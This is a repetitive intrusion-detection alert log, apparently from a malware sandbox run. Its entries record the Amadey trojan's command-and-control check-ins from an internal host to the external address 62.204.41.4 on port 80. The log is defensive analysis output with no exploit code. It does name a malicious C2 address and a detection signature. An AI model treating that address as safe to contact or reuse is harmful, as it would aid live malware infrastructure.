ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449969802027700 02/06/23-14:18:03.665186
SID:	2027700
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450020802027700 02/06/23-14:18:17.901532
SID:	2027700
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449928802027700 02/06/23-14:17:51.819640
SID:	2027700
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450061802027700 02/06/23-14:18:27.966194
SID:	2027700
Source Port:	50061
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449768802027700 02/06/23-14:17:03.301035
SID:	2027700
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449987802027700 02/06/23-14:18:08.011491
SID:	2027700
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449763802027700 02/06/23-14:17:02.065956
SID:	2027700
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449964802027700 02/06/23-14:18:02.489492
SID:	2027700
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449786802027700 02/06/23-14:17:07.678071
SID:	2027700
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449982802027700 02/06/23-14:18:06.788989
SID:	2027700
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450091802027700 02/06/23-14:18:37.165425
SID:	2027700
Source Port:	50091
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450211802027700 02/06/23-14:19:08.508471
SID:	2027700
Source Port:	50211
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449959802027700 02/06/23-14:18:01.254903
SID:	2027700
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449800802027700 02/06/23-14:17:17.654882
SID:	2027700
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450033802027700 02/06/23-14:18:21.009110
SID:	2027700
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450030802027700 02/06/23-14:18:20.273308
SID:	2027700
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450189802027700 02/06/23-14:19:02.451596
SID:	2027700
Source Port:	50189
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449956802027700 02/06/23-14:18:00.553096
SID:	2027700
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450107802027700 02/06/23-14:18:41.040652
SID:	2027700
Source Port:	50107
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450048802027700 02/06/23-14:18:24.617450
SID:	2027700
Source Port:	50048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449778802027700 02/06/23-14:17:05.707869
SID:	2027700
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449892802027700 02/06/23-14:17:42.833784
SID:	2027700
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450241802027700 02/06/23-14:19:16.998707
SID:	2027700
Source Port:	50241
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450226802027700 02/06/23-14:19:13.307960
SID:	2027700
Source Port:	50226
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449821802027700 02/06/23-14:17:22.892786
SID:	2027700
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450063802027700 02/06/23-14:18:28.448526
SID:	2027700
Source Port:	50063
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449773802027700 02/06/23-14:17:04.487846
SID:	2027700
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449913802027700 02/06/23-14:17:48.004988
SID:	2027700
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449992802027700 02/06/23-14:18:09.210071
SID:	2027700
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449995802027700 02/06/23-14:18:09.929475
SID:	2027700
Source Port:	49995
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449735802027700 02/06/23-14:16:51.844624
SID:	2027700
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449776802027700 02/06/23-14:17:05.213338
SID:	2027700
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449854802027700 02/06/23-14:17:31.105331
SID:	2027700
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450005802027700 02/06/23-14:18:14.255721
SID:	2027700
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449984802027700 02/06/23-14:18:07.273532
SID:	2027700
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450176802027700 02/06/23-14:18:59.358931
SID:	2027700
Source Port:	50176
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449813802027700 02/06/23-14:17:20.872292
SID:	2027700
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450135802027700 02/06/23-14:18:47.882067
SID:	2027700
Source Port:	50135
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449926802027700 02/06/23-14:17:51.137580
SID:	2027700
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449707802027700 02/06/23-14:16:32.799134
SID:	2027700
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450071802027700 02/06/23-14:18:31.257000
SID:	2027700
Source Port:	50071
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450254802027700 02/06/23-14:19:20.138555
SID:	2027700
Source Port:	50254
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449748802027700 02/06/23-14:16:58.336552
SID:	2027700
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449967802027700 02/06/23-14:18:03.193009
SID:	2027700
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450076802027700 02/06/23-14:18:33.527817
SID:	2027700
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450213802027700 02/06/23-14:19:10.017712
SID:	2027700
Source Port:	50213
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450035802027700 02/06/23-14:18:21.518036
SID:	2027700
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449789802027700 02/06/23-14:17:11.410184
SID:	2027700
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450056802027700 02/06/23-14:18:26.630496
SID:	2027700
Source Port:	50056
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449694802027700 02/06/23-14:16:29.585296
SID:	2027700
Source Port:	49694
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450145802027700 02/06/23-14:18:51.997575
SID:	2027700
Source Port:	50145
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449783802027700 02/06/23-14:17:06.930392
SID:	2027700
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449872802027700 02/06/23-14:17:37.956883
SID:	2027700
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449933802027700 02/06/23-14:17:54.746193
SID:	2027700
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449961802027700 02/06/23-14:18:01.749516
SID:	2027700
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449844802027700 02/06/23-14:17:28.581102
SID:	2027700
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450111802027700 02/06/23-14:18:42.055400
SID:	2027700
Source Port:	50111
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450117802027700 02/06/23-14:18:43.523915
SID:	2027700
Source Port:	50117
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449755802027700 02/06/23-14:17:00.032530
SID:	2027700
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450200802027700 02/06/23-14:19:05.093129
SID:	2027700
Source Port:	50200
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450206802027700 02/06/23-14:19:06.573238
SID:	2027700
Source Port:	50206
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449951802027700 02/06/23-14:17:59.351611
SID:	2027700
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449939802027700 02/06/23-14:17:56.379898
SID:	2027700
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450022802027700 02/06/23-14:18:18.367475
SID:	2027700
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449905802027700 02/06/23-14:17:46.099037
SID:	2027700
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450196802027700 02/06/23-14:19:04.123385
SID:	2027700
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450066802027700 02/06/23-14:18:29.146657
SID:	2027700
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450173802027700 02/06/23-14:18:58.637896
SID:	2027700
Source Port:	50173
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449816802027700 02/06/23-14:17:21.645116
SID:	2027700
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450262802027700 02/06/23-14:19:22.073797
SID:	2027700
Source Port:	50262
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449793802027700 02/06/23-14:17:12.843598
SID:	2027700
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450084802027700 02/06/23-14:18:35.437223
SID:	2027700
Source Port:	50084
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449882802027700 02/06/23-14:17:40.393565
SID:	2027700
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450257802027700 02/06/23-14:19:20.856195
SID:	2027700
Source Port:	50257
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449704802027700 02/06/23-14:16:32.045624
SID:	2027700
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449923802027700 02/06/23-14:17:50.412938
SID:	2027700
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449971802027700 02/06/23-14:18:04.128227
SID:	2027700
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450127802027700 02/06/23-14:18:45.946491
SID:	2027700
Source Port:	50127
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449727802027700 02/06/23-14:16:43.531561
SID:	2027700
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450168802027700 02/06/23-14:18:57.456115
SID:	2027700
Source Port:	50168
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450038802027700 02/06/23-14:18:22.237631
SID:	2027700
Source Port:	50038
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450234802027700 02/06/23-14:19:15.265931
SID:	2027700
Source Port:	50234
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449745802027700 02/06/23-14:16:57.611373
SID:	2027700
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450216802027700 02/06/23-14:19:10.901301
SID:	2027700
Source Port:	50216
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449834802027700 02/06/23-14:17:26.192657
SID:	2027700
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450050802027700 02/06/23-14:18:25.142675
SID:	2027700
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450180802027700 02/06/23-14:19:00.308509
SID:	2027700
Source Port:	50180
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450186802027700 02/06/23-14:19:01.729093
SID:	2027700
Source Port:	50186
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450183802027700 02/06/23-14:19:01.029659
SID:	2027700
Source Port:	50183
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450094802027700 02/06/23-14:18:37.890736
SID:	2027700
Source Port:	50094
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450275802027700 02/06/23-14:19:25.216519
SID:	2027700
Source Port:	50275
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449803802027700 02/06/23-14:17:18.396345
SID:	2027700
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450097802027700 02/06/23-14:18:38.635757
SID:	2027700
Source Port:	50097
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450015802027700 02/06/23-14:18:16.703906
SID:	2027700
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449974802027700 02/06/23-14:18:04.837734
SID:	2027700
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449977802027700 02/06/23-14:18:05.552322
SID:	2027700
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450247802027700 02/06/23-14:19:18.456525
SID:	2027700
Source Port:	50247
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449714802027700 02/06/23-14:16:34.963073
SID:	2027700
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449885802027700 02/06/23-14:17:41.119392
SID:	2027700
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450155802027700 02/06/23-14:18:54.353665
SID:	2027700
Source Port:	50155
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449888802027700 02/06/23-14:17:41.840855
SID:	2027700
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449806802027700 02/06/23-14:17:19.119476
SID:	2027700
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449799802027700 02/06/23-14:17:17.417286
SID:	2027700
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450244802027700 02/06/23-14:19:17.729582
SID:	2027700
Source Port:	50244
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449717802027700 02/06/23-14:16:38.110725
SID:	2027700
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449908802027700 02/06/23-14:17:46.800738
